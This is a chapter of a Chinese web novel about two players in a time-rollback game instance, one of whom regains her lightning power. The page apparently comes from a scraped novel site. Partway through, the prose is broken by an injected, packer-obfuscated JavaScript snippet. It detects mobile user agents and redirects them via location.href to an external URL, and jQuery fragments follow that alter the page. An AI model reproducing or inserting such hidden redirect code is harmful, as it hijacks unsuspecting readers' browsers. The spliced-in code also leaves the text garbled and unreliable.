34.并行回滚(四)
作品:《心盲症怎么打异能战 [无限]》 还没等应凌心跟「商予盈」再多聊两句,就被系统的播报声打断。
【恭喜两位玩家完成节点一,进程回滚中...】
她愣了愣,下意识想要把「商予盈」拉到身后。
刚碰到对方的手腕,眼前白光一闪,指尖的触感消失,若有若无的嗡鸣声袭来。
【回滚完成。】
紧接着是一道熟悉的声音。
“应凌心,你来回答一下这道题。”
应凌心愣了愣,被同桌杵了一下才反应过来,从座位上站了起来,一边把宽大的校服袖子往上挽,一边看着黑板上的题目。
她眯着眼,扶了扶镜框。
“...选C。”还好是数学课,要是换节文科课她只能乱猜一通了。
“坐下,上课精神一点。”
这是她高中时的教室。
应凌心坐在座位上,老师讲课的声音被她自动过滤掉。她低着头去看自己的掌心,心脏跳得飞快。
这是她高中时的身体。
这时候手掌还没磨出茧子,只有右手中指侧面,因为长期握笔长着一个厚厚的茧。
没什么重量的眼镜架在她的鼻梁上,她戴了十几年的眼镜,此时却觉得有些不适应。
应凌心微微握了握自己的手。
没有异能。
她不安地转了转肩膀。
她的异能不见了。
【以下副本通知将会在每个回滚节点进行播报:】
【在任意节点、任意玩家杀死另一位玩家即可脱离副本。】
伴随着下课铃声的响起,系统又一次进行了播报,提醒着她副本还在继续。
她回过头,跟后桌对上了眼神。
女孩深色的眼睛注视着她:“你也听到了?”
【5分钟后,节点玩家将重新获得异能。】
“...听到了。”应凌心张了张嘴,机械地回答道。
【当前节点:节点二】
【祝两位玩家好运 :)】
该怎么在5分钟之内把情况说清楚,顺便说服对方别为了通关直接刀了自己?
应凌心深吸了一口气:“你听好我接下来要说的话。”
.
「应凌心」现在感觉非常懵。
她刚回答完问题坐下,就听到没什么语调起伏的电子音冷不丁地响起,说着什么副本跟玩家之类的东西。
?地球终于要被入侵了?外星人赶在她高考前来了?
「应凌心」偷偷瞄了下周围,同学跟老师都没什么反应,该上课的上课,该走神的走神。
她成副本内觉醒的NPC了?
【5分钟后,节点玩家将重新获得异能。】
节点玩家又是啥?怎么还有异能?
老师刚一宣布下课,同学们就各自聊起了天。
「应凌心」在吵嚷声中心不在焉地听着同桌叽叽喳喳地讲着话,一边盘算着听到的播报声。
【当前节点:节点二】
【祝两位玩家好运 :)】
所以有两个“玩家”,其中一个是会在5分钟后得到异能的“节点玩家”?
这个有异能的玩家听着格外危险啊。
那她又是什么,炮灰NPC?守关的小怪?
有人拍了拍她,吓得「应凌心」从位子上直接窜起来。
是她的后桌。
「应凌心」看着商予盈有点复杂的眼神,愣了愣,反应了过来,略带试探性地问:“你也听到了?”
商予盈一边用发绳把自己的头发扎紧,一边微微点了点头。
“这是副本,中途会有很多危险,我们两个是玩家。现实中的我们已经大学毕业了,但又都意外死掉了,所以不得不下副本。”
“你是节点玩家,所以记忆停留在了高中。根据系统说的,你等下会恢复异能。”
商予盈顿了顿,语速飞快地接着说,“我在这个节点没有异能,但根据上一个节点的经验,等下还会有其它的怪物来攻击玩家。”
她眨了眨褐色的双眼:“你需要我去给你解释副本跟异能的机制。”
“而我需要你用异能来保护我。”
「应凌心」:...危险竟是我自己。
「应凌心」艰难地消化着庞大的信息量,一时半会有些不知所措,她应该说些什么?
甚至于,她应该想些什么?
如果换个人,比如她的同桌,或者另外哪个朋友,她大概会飞扑上去让对方速速交代,然后扮酷地来一句“别怕,姐一定保护你”。
但换作商予盈...「应凌心」一时感觉有点尴尬,她挠了挠头,不想让自己的语气听着太理所当然:“那你可以跟我说下后面会发生什么吗?”
本来就不咋快乐的高中忽然成了副本,算不上熟的高中同学忽然成了疑似队友的存在,她忽然要被安上某个未知的异能。
她真的很懵啊!
商予盈看了眼时间,还剩两分钟。
她默默把手揣回裤子的口袋里:“最重要的是,你要在短时间内掌握你的异能,面对可能会出现的危险。”
.
「商予盈」头一次听到应凌心跟自己说这么一大串话。
她梳理了一下自己的处境,表示理解了——反正再过一小会她就能验证自己是不是真的会有异能了,由不得她信不信。
她问出了自己最关心的事:“所以我等下拿到异能后就会恢复记忆吗?”
“我不确定,大概率不行。”
应凌心觉得副本大概率不会那么友好,“我怀疑节点玩家的定义就是记忆被定格在现在这个时间点的玩家。”
也就是说,她要跟一个高中生做队友了。
“那我拿到异能后,会自动懂得怎么去掌握异能吗?”高中生接着问。
“这也是我想知道的。”
实际上,应凌心不知道的不只是能不能掌握异能这么简单。
说是恢复异能,如果精神力没有跟着一起被恢复,那效果就跟没有一样。
那要是恢复精神力的话,是恢复到她们刚觉醒时的程度,还是她们进入这个副本前的程度?
应凌心总觉得精神力的增长大有门道,不是单纯的数值那么简单。
这样的精神力,是依附于她们自身、她们的记忆跟理解,还是她们的异能?
不好说。
同样不好说的还有那些她们后来才发掘出来的异能使用方法,是会被当作“二技能”一并灌进来,还是需要重新去发现?
副本能够剥夺跟改变的范围是多少?
应凌心跟「商予盈」面对着面,一边补充说明着,一边等着倒计时结束。
.
「应凌心」努力听着商予盈争分夺秒的讲解,试图在一句接一句的描述中对之后的副本跟她自己会得到的异能有个大致的了解。
后脑突兀地传来疼痛,她愣了一下。
一个从未察觉的开关被打开,随之而来的是一阵陌生却服帖的力量,熟门熟路地游走在她的脑海里。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184119|195685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“咦?”
「应凌心」眨了眨眼,略带一些意外地打断了商予盈。
眼前一阵模糊后,眼眶和大脑开始因为高压微微发痛。
她愣了愣,摘下了眼镜。
世界变得清晰了——她的眼睛不再近视了。
商予盈看着女孩深紫色的眼睛,明白对方的异能是回来了。
“你知道怎么用自己的异能吗?”不知道就麻烦了,她不知道该怎么去解释。
「应凌心」试探性地伸出右手,指尖冒出一小缕紫色的雷电,看着没什么规律地跳动着。
她揉了揉眼睛,注意到被塞进脑子里的一些额外的记忆,下意识问出了声:
“...我姐呢?”
应凌律这两年怎么人间蒸发了?
商予盈没想到「应凌心」恢复异能后问出的第一个问题是这个。
确实,她差点忘了,异能觉醒后会恢复被屏蔽的记忆。
但她没有因为失去异能而重新被屏蔽记忆,为什么?
“我不知道。”
应凌心后来跟她提到过怀疑自己姐姐也进到过空间里,只是没提后续,她也就默契地没再追问了。
不过这就没必要跟「应凌心」讲了,现在也不是追究不知道失踪了多少年的人的下落的时候。
“还有呢?”商予盈看了眼下课后迅速变空的教室。
“有什么?”「应凌心」没听懂。
“除了放雷电,还有没有别的使用方法?”她提醒道,“趁现在你多熟悉下你的异能,但别乱用——精神力是有限的。”
「应凌心」迟疑了一下,站在原地一动不动。
商予盈没有催,她能感受到「应凌心」四周微弱的精神力波动。
她没有异能,却能感受到精神力的变化;她失去的是异能本身,还是精神力?
「应凌心」闭着双眼,两手插着兜,精神力缓缓地蔓延着,铺向整个教室。
伴随着教室后方几不可闻的一声脆响,角落的摄像头电路被烧坏,一闪一闪的红点沉寂下来。
电流被她操控着流淌在教室里,替她感知着空间。
「应凌心」睁开眼,感觉自己对异能的掌握程度有所提升,也没耗费什么精神力。
商予盈抱着胳膊等她逐渐学会操控电流,告诉她可以利用电流操控教室里的课桌跟其它金属。
女孩恍然大悟,眼睛亮晶晶地夸商予盈聪明,让人不好意思告诉她这个主意本来就是她想出来的。
「应凌心」的悟性很高,或者因为本来这就是属于她的能力,尝试几下,也就渐渐掌握技巧了。
只是实战时的反应能力和战斗意识就不好说了。
如果遇到上一个节点的投影仪,应该不会费太大力气就能打败。
商予盈正想着,忽然感知到门外有一股强烈的陌生精神力波动,故意昭示着自己的存在感。
她连忙提醒「应凌心」,两人戒备地看着门缓缓被打开。
一个跟她差不多大的女人。
女人板着一张脸,沉默地挽了挽运动服的袖子。
被扎起来的马尾辫末端微微发卷,乌黑的头发中掺杂着几抹红色。
一双眼睛没什么神采,红色的漩涡在黑沉的瞳仁中若隐若现。
商予盈暗道一声不好。
她跟应凌心都交流过各自在副本里的经历,自然也认出了眼前的人。
季祝火。
那个死在应凌心上一个副本的玩家,此刻出现在了她们面前。

